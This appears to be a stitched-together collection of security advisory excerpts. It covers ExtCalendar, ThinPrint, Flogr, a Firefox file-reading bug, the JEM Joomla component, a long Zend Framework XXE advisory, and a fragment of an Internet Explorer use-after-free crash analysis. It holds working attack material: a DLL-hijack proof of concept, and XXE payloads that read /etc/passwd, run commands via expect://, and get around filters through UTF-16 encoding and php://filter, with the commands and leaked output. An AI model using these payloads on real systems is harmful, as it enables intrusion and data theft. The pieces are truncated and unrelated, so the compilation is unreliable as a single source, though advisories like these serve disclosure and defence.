ExtCalendar is prone to multiple SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, and steal cookie-based authentication credentials; other attacks are also possible.
ExtCalendar 2.0 is vulnerable; other versions may also be affected.

ThinPrint is prone to a vulnerability that lets attackers execute arbitrary code.
Exploiting this issue allows local attackers to execute arbitrary code with the privileges of the user running the affected application.
#include <windows.h>
int hijack_poc ()
{
WinExec ( "calc.exe" , SW_NORMAL );
return 0 ;
}
BOOL WINAPI DllMain
( HINSTANCE hinstDLL ,
DWORD dwReason ,
LPVOID lpvReserved )
{
hijack_poc () ;
return 0 ;
}

Flogr is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Flogr 2.5.6 is vulnerable; prior versions may also be affected.

1. Description
This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit.
2. Proof of Concept
Create a index.html and copy and paste the following html into it:
<!DOCTYPE html>
<html>
<head>
<title>CVE-2015-4495</title>
</head>
<body>
<h1>Test</h1>
<script type="text/javascript" src="./exploit.js" charset="utf-8"></script>
</body>
</html>
Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing.
3. Solution
Upgrade to the latest firefox ( > 39.0.3)

function publish($cid = array(), $publish = 1)
{
if (is_array($cid) && count($cid)) {
$cids = implode(',', $cid);
$query = 'UPDATE #__jem_events'

-------------------------------------------------------------------------------------------
##2 Insecure File Upload
Default JEM settings allows to upload HTML/HTM files as event's attachment.
An authenticated attacker could upload malicious HTML/HTM files with malicious code (e.g. Javascript).
These attachments could be reachable on "<website>/media/com_jem/attachments/event/event[id]/" or downloaded and executed locally by the victim's browser.
Attachments process is handled by "/site/classes/attachments.class.php" file.
File types allowed by default are in the "/admin/sql/install.mysql.utf.sql" file.

=============================================
I. VULNERABILITY
-------------------------
Zend Framework <= 2.4.2 XML eXternal Entity Injection (XXE) on PHP FPM
Zend Framework <= 1.12.13
II. BACKGROUND
-------------------------
- Zend Framework
From http://framework.zend.com/about/ website:
"Zend Framework 2 is an open source framework for developing web applications
and services using PHP 5.3+. Zend Framework 2 uses 100% object-oriented code and
utilises most of the new features of PHP 5.3, namely namespaces, late static
binding, lambda functions and closures.
Zend Framework 2 evolved from Zend Framework 1, a successful PHP framework with
over 15 million downloads."
- PHP FPM
http://php.net/manual/en/install.fpm.php
"FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with
some additional features (mostly) useful for heavy-loaded sites."
Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI
process manager into its codebase. However PHP-FPM was available earlier as a
separate project (http://php-fpm.org/).
III. INTRODUCTION
-------------------------
The XML standard defines a concept of external entites.
XXE (XML eXternal Entity) attack is an attack on an application that parses XML
input from untrusted sources using incorrectly configured XML parser.
The application may be forced to open arbitrary files and/or network resources.
Exploiting XXE issues on PHP applications may also lead to denial of service or
in some cases (for example, when an 'expect' PHP module is installed) lead to
command execution.
An independent security reserach of Zend Framework revealed that it is
possible to bypass XXE security controls within the framework in case
the PHP application using Zend XML related classes (e.g Zend_XmlRpc_Server,
Zend_Feed, Zend_Config_Xml etc.) from Zend Framework is served via PHP FPM.
Bypassing the controls may allow XXE attacks and lead to the aforementioned
exploitation possibilities on systems where the XML parser is set to resolve
entities.
IV. DESCRIPTION
-------------------------
The security controls within the Zend Framework mitigate the XXE attack vectors
by first calling libxml_disable_entity_loader(), and then looping
through the DOMDocument nodes testing if any is of type: XML_DOCUMENT_TYPE_NODE
If so, an exception is raised and PHP script execution is halted.
These controls have been included in the scan() function of a Zend_Xml_Security
class located in the following paths depending on the code branch of Zend
Framework:
ZendFramework-1.12.13/library/Zend/Xml/Security.php
ZendFramework-2.4.2/library/ZendXml/Security.php
In case of the latest version of ZendFramework-1.12.13,
the relevant code blocks from the scan() function look as follows:
---[library/Zend/Xml/Security.php ]---
public static function scan($xml, DOMDocument $dom = null)
{
if (self::isPhpFpm()) {
self::heuristicScan($xml);
}
if (!self::isPhpFpm()) {
$loadEntities = libxml_disable_entity_loader(true);
$useInternalXmlErrors = libxml_use_internal_errors(true);
}
// Load XML with network access disabled (LIBXML_NONET)
$result = $dom->loadXml($xml, LIBXML_NONET);
restore_error_handler();
if (!self::isPhpFpm()) {
libxml_disable_entity_loader($loadEntities);
libxml_use_internal_errors($useInternalXmlErrors);
}
if (!$result) {
return false;
}
// Scan for potential XEE attacks using ENTITY, if not PHP-FPM
if (!self::isPhpFpm()) {
foreach ($dom->childNodes as $child) {
if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
if ($child->entities->length > 0) {
require_once 'Exception.php';
throw new Zend_Xml_Exception(self::ENTITY_DETECT);
}
}
}
}
if (isset($simpleXml)) {
$result = simplexml_import_dom($dom);
if (!$result instanceof SimpleXMLElement) {
return false;
}
return $result;
}
return $dom;
--------------------------------------
As we can see from the code, the application disables the entity loader
(via libxml_disable_entity_loader), it also disables network access
(LIBXML_NONET), and it additionally scans provided XML for the presence of XML
entities to prevent potential entity expansion attacks.
The code succesfully prevents most XXE attacks.
However, as the PHP libxml_disable_entity_loader() function was reported not
thread safe (the entity loader setting could potentially get overwritten
between hits in FPM processes), Zend Framework does not use it when the
application is hosted in a PHP-FPM environment. Instead, another approach is
taken to prevent the XXE attacks.
In the code above we see the check !self::isPhpFpm() which determines the type
of interface between web server and PHP (through the php_sapi_name() function).
If the SAPI is FPM-CGI (i.e. PHP-FPM) the following heuristicScan function gets
executed:
---[library/Zend/Xml/Security.php ]---
protected static function heuristicScan($xml)
{
if (strpos($xml, '<!ENTITY') !== false) {
require_once 'Exception.php';
throw new Zend_Xml_Exception(self::ENTITY_DETECT);
}
}
--------------------------------------
It validates provided XML by searching for any entity declaration. It throws an
exception if it finds one.
Although this check cannot be bypassed by simply adding spaces or changing
the characters to lower case (an XML parser would reject such declaration
as invalid), this security check is nevertheless insufficient.
XML format allows for different types of encoding to be used, hence it is
possible to bypass the check by supplying specifically encoded XML content.
For example, a UTF-16 encoding which uses 2-byte characters would be enough to
bypass the ENTITY string check.
Apart from the ENTITY check, the code also adds the aformentioned LIBXML_NONET
parameter to catch entities refering to network resources.
This limitation can also be bypassed as shown in the proof of concept exploit.
This makes the Zend Framework vulnerable to XXE injection attacks.
V. PROOF OF CONCEPT
-------------------------
Below is a simple PHP application using Zend Framework to implement an XML-RPC
server for demonstation:
---[ zend_xmlrpc_server.php ]--
<?php
// Simple XML-RPC SERVER
function helloworld() {
$text = "Hello world! This request was executed via ".php_sapi_name().".";
return $text;
}
set_include_path("./ZendFramework-1.12.13/library/");
require_once("./ZendFramework-1.12.13/library/Zend/Loader/Autoloader.php");
Zend_Loader_Autoloader::getInstance();
$server = new Zend_XmlRpc_Server();
$server->addFunction('helloworld');
echo $server->handle();
?>
-------------------------------
This test application is hosted on an Apache server with PHP-FPM.
Requesting:
POST /zend_poc/zend-xmlrpc-server.php HTTP/1.1
Host: apache-php-fpm
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>helloworld</methodName>
</methodCall>
should return:
<methodResponse><params><param><value><string>Hello world!
This request was executed via fpm-fcgi.</string></value></param></params>
</methodResponse>
In order to exploit the XXE vulnerability contained in the Zend framework
an attacker can pass XML data containing external entities similar to:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE methodCall [
<!ENTITY pocdata SYSTEM "file:///etc/passwd">
]>
<methodCall>
<methodName>retrieved: &pocdata;</methodName>
</methodCall>
Feeding the above data to the zend-xmlrpc-server.php script will result in
an error:
<int>631</int></value></member><member><name>faultString</name><value>
<string>Failed to parse request</string></value></member></struct></value>
</fault></methodResponse>
which is due to the heuristicScan ENTITy detection.
We can now encode the data to avoid the check.
$ cat poc-utf8.xml | sed 's/UTF-8/UTF-16/' \
| iconv -f UTF-8 -t UTF-16 >poc-utf16.xml
Hex representation of the UTF-16 encoded XML file (including the change in
the xml header to reflect the new encoding) looks as follows:
$ hexdump -C poc-utf16.xml

As can be seen on the hexdump, the ENTITY word is encoded using 2-byte
characters.
Resupplying the encoded data contained in poc-utf16.xml to the Zend XMLRPC
application, depending on the underlying libxml library, may result in a
password file retrival from the remote server:
$ wget -q -O /dev/stdout http://apache-phpfpm/zend_poc/zend-xmlrpc-server.php \
--post-file=poc-utf16.xml
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><fault><value><struct><member><name>faultCode</name><value>
<int>620</int></value></member><member><name>faultString</name><value><string>
Method "retrieved: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[cut]
" does not exist</string></value></member></struct></value></fault>
</methodResponse>
If the password file is not returned, an attacker may try another version
of an XXE attack using parameter entities and an out-of-band communication.
Both of these can be used to exploit the vulnerability in Zend Framework on
a greater number of libxml configurations.
Remote command execution may also be possible if the remote system has an
'expect' php module (libexpect-php) installed.
If this is the case, we can for example execute 'id' command via injecting
the entity:
<!ENTITY pocdata SYSTEM "expect://id">
which should return a result similar to:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><fault><value><struct><member><name>faultCode</name><value>
<int>620</int></value></member><member><name>faultString</name><value>
<string>Method "retrieved: uid=33(www-data) gid=33(www-data)
groups=33(www-data) " does not exist</string></value></member>
A separate POC exploit (zend-xmlrpc-exploit-cmd-exec.sh) is included which
runs commands with parameters and also implements parameter entities/OOB
communication.
As mentioned in the description of this vulnerability, the Zend Framework
adds a LIBXML_NONET flag to the loadXML() call in order to prevent reaching
network resources through XXE.
As a result, requesting a network resource such as http://192.168.57.10 via XXE
injection will fail.
This can be bypassed by using php://filter wrapper inside an entity, e.g:
<!ENTITY pocdata SYSTEM "php://filter/read=convert.base64-encode/
resource=http://192.168.57.10">
This will return a base64 encoded response from the remote server bypassing
the LIBXML_NONET restriction:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><fault><value><struct><member><name>faultCode</name><value><int>620</int>
</value></member><member><name>faultString</name><value><string>Method "

This vulnerability may also lead to Denial of Service if for example the attacker
requests /dev/random file through XXE. This will cause the application to block
on the endless input from the random generator pseudo device, until the maximum
execution time is reached.
Sending multiple requests of such kind would exhaust the maximum number of
threads that the web server can create.
VI. BUSINESS IMPACT
-------------------------
An unauthenticated remote exploitation may be possible on applications which
make use of Zend_XmlRpc_Server with a public XML-RPC endpoint as demonstrated
in this advisory.
Authentication in case of XML-RPC is not required for exploitation
as the XML needs to be processed first in order for the application to read
the credentials passed from the login data within the xml-formatted input.
This issue should be marked as high/critical due to the wide deployment of Zend
Framework (which includes some major CMS and e-commerce applications), the
number of Zend XML classes affected, low complexity of exploitation, as well
as a possibility of an unauthenticated remote exploitation.
There is also a growing number of servers set up to serve PHP code with PHP-FPM,
especially in web hosting environments which need to respond to heavy load.
VII. SYSTEMS AFFECTED
-------------------------
All systems making use of Zend Framework in versions starting from
1.12.4 and 2.1.6 up to the latest versions of Zend Framework 1.12.13 (released
2015-05-20) and 2.4.2 (released 2015-05-11) contain the XXE injection
vulnerability described in this advisory.
All Zend Framework classes making use of XML and calling the vulnerable
Zend_Xml_Security::scan() function are affected by this issue:

The vulnerability can be exploited in applications using vulnerable version
of the framework, where PHP code is served with PHP-FPM, and when the xml parser
installed in the system is set up to resolves entities.
PHP-FPM can be set up on popular web servers such as Apache, or Nginx
on Linux/Unix, as well as Windows systems (as per the 'fpm on cygwin' setup
guides available on the Internet).

This looks like a use-after-free on memory which was previously freed by the
ProtectedFree implementation (and zeroed-out) and thus the memory is not yet
marked as free by the heap manager. To verify this assumption, we first disable
the Memory Protect feature to see if it's really accessing freed memory:
C:\>reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MEMPROTECT_MODE"
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\Feature
Control\FEATURE_MEMPROTECT_MODE
iexplore.exe REG_DWORD 0x0
If we trigger the crash again, we notice that this time freed memory is
accessed and the memory was indeed previously allocated by the ProtectedFree
function.
(12c.4a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
